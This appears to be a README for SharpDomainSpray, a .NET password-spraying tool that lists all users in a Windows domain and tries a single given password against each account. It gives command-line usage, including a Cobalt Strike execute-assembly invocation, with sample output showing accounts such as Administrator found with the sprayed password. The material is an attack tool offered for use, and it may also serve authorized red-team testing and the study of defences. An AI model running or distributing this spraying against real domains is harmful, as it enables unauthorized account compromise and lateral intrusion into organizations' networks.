SharpDomainSpray
SharpDomainSpray is a very simple password spraying tool written in .NET. It takes a password then finds all users in the domain and attempts to authenticate to the domain with that given user/password.
Usage
cmd.exe
C:\> SharpDomainSpray.exe test12345!
User: Administrator Password is: test12345!
User: TestUser Password is: test12345!
Cobalt Strike
$ execute-assembly /path/to/SharpDomainSpray.exe test12345!
User: Administrator Password is: test12345!
User: TestUser Password is: test12345!
Download & compile on Github: